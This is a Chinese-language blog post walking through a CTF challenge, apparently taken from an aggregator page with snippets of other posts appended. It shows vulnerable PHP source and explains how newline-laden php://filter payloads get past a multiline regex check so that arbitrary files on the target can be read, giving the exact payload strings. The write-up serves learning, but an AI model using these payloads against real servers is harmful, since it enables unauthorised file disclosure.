乙個PHP檔名正則校驗安全問題帶來的思考

2021-10-21 10:29:04 字數 3284 閱讀 8481

思考最後

上周末我收到了乙個做安全的朋友的訊息,讓我幫忙看乙個php原始檔的漏洞,起先我以為是他只無聊想攻擊別人,所以只是掃了一眼就下意識告訴他「寫的不規範但是好像也沒什麼大的漏洞」。後來他又告訴我這是乙個ctf試題(這裡是網路安全競賽),這時候我才意識到我有點馬虎了,這裡面應該觸及我的知識盲區,或者太想當然。必需認證對待這個問題了。

簡單地說,我們已經獲得了乙個部署在伺服器上通過web訪問的php原始碼檔案,需要想辦法攻擊它來讀取靶機上的其他檔案。

<?phpif(

!isset

($_get

['file'])

)$file

=$_get

['file'];

$re=

'/^\w*\.\w*$/m'

;preg_match_all

($re

,$file

,$matches

,preg_set_order,0

);if(

count

($matches)!=

1)echo

file_get_contents

($file);

?>

從原始碼上來看,想進行靶機其他檔案讀取,相比preg_match_all函式,file_get_contents更像是我們的目標,而其接受的變數剛好可以通過構造$_get['file']來控制。

$_get['file']變數僅用了簡單的正則校驗,那麼很明顯,此題解法應該是構造payload進行**漏洞攻擊。

從上面第2點看來,此題的關鍵就在這個正則/^\w*\.\w*$/m了,那麼能否構造出符合這個正則的其他目錄檔案的路徑呢?

<?php

$name_1

="log.log"

;$name_2

="/www/\nlog.log"

;$re

='/^\w*\.\w*$/'

;preg_match_all

($re

,$name_1

,$matches

,preg_set_order,0

);var_dump

($matches);

/*array(1) }*/

preg_match_all

($re

,$name_2

,$matches

,preg_set_order,0

);var_dump

($matches);

/*array(0) {}

*/$re

='/^\w*\.\w*$/m'

;preg_match_all

($re

,$name_1

,$matches

,preg_set_order,0

);var_dump

($matches);

/*array(1) }*/

preg_match_all

($re

,$name_2

,$matches

,preg_set_order,0

);var_dump

($matches);

/*array(1)

}*/

漏洞當然不止於此,可以看到原始碼中還有判斷匹配項數量必須為1的邏輯,組合起來似乎就豁然開朗了,這裡應該就是那個漏洞,通過構造帶有換行符的、帶有正確檔名的檔案路徑就可以了。

既然到了這裡,事不宜遲,我們立即開始著手構造這樣的檔案路徑(例如/www/%0a.env)進行請求——然而我們這時候都忽略了乙個問題,%0a(urlencode的換行符)作為路徑傳入後,換行符是不會被file_get_contents函式忽略的,所以果不其然,報了warning,找不到檔案。

到了這裡,其實我們兩個開始了各種「胡思亂想」了

看起來,唯一的構造路徑、使用file_get_contents來獲取檔案的路已經越走越窄了。

從這個角度觸發,我們找到了php的偽協議——輸入/輸出流,其中有一項php://filter的功能與我們的需求極為相似:

php://filter 是一種元封裝器, 設計用於資料流開啟時的篩選過濾應用。 這對於一體式(all-in-one)的檔案函式非常有用,類似 readfile()、 file() 和 file_get_contents(), 在資料流內容讀取之前沒有機會應用其他過濾器。

可惜我們陷入了檔案路徑中無法新增進換行符的牛角尖裡,直到最後我們還是沒能想出題解。

該題的答案是: php://filter/read=%0aconvert.base64%0a-encode/resource=***x

答案是我們之後找來的,其實看到答案的時候我們就頓悟了,發現我們的思路其實已經及其接近,但是最後陷入了誤區——我們一直堅定認為構造的一定是且僅是乙個完整路徑,無論是檔案路徑還是協議路徑。

但是大家應該發現了,答案裡在源resource前指定了乙個convert.base64-encode的過濾器,而這個過濾器名字插入換行符後可以滿足正則要求,所以這裡resource對應的靶機目標檔案路徑不需要做任何處理,需要處理的僅是這個過濾器的名字。

問題到這裡就結束了嗎?

有細心的朋友應該又想提出問題了:convert.base64-encode中加了換行符還能正常使用嗎?答案是過濾器會因路徑找不到報warning,但是依舊會去讀取resource源,只是不做處理。所以這裡的答案其實可以是

php://filter/read=%0anystring.anystring%0a/resource=***x

只需要前後包裹換行符用於正則匹配就行了。

如果有興趣的同學想自己嘗試一下,使用最上面的原始碼,自己搭建乙個本地web服務就可以了,有時間也不妨發散一下看看有哪些過濾器、哪些php協議。

寫到這裡我其實挺慚愧的,相比其他語言,php算是用得最久的,但這樣的用法(我也不知道算不算高階用法)還是第一次。我突然有點羨慕做安全的同學了,能真正切實地接觸到各項語言、技術的細節和核心。在我們自己學習的過程中,單一的角度確實會限制視野和想象力,偶爾找找類似技術攻防或者學習下別人分析漏洞的思路或許能找到不一樣的天地。

共勉。

PHP安全程式設計 阻止檔名被操縱

在很多情形下會使用動態包含,此時目錄名或檔名中的部分會儲存在乙個變數中。例如,你可以快取你的部分動態頁來降低你的資料庫伺服器的負擔。php view plain copy include cache html 為了讓這個漏洞更明顯,示例中使用了 get。如果你使用了受汙染資料時,這個漏洞同樣存在。使...

Matlab獲取乙個資料夾下所有檔名

matlab獲取乙個資料夾下所有檔名 filefolder fullfile d matlab bin trc diroutput dir fullfile filefolder,trc filenames 解釋 1 第一行 filefolder fullfile d matlab bin trc ...

PHP安全程式設計之阻止檔名被操縱

在很多情形下會使用動態包含,此時目錄名或檔名中的部分會儲存在乙個變數中。例如,你可以快取你的部分動態頁來降低你的資料庫伺服器的負擔。include cache html 為了讓這個漏洞更明顯,示例中使用了 get。如果你使用了受汙染資料時,這個漏洞同樣存在。使用 get username 是乙個極端...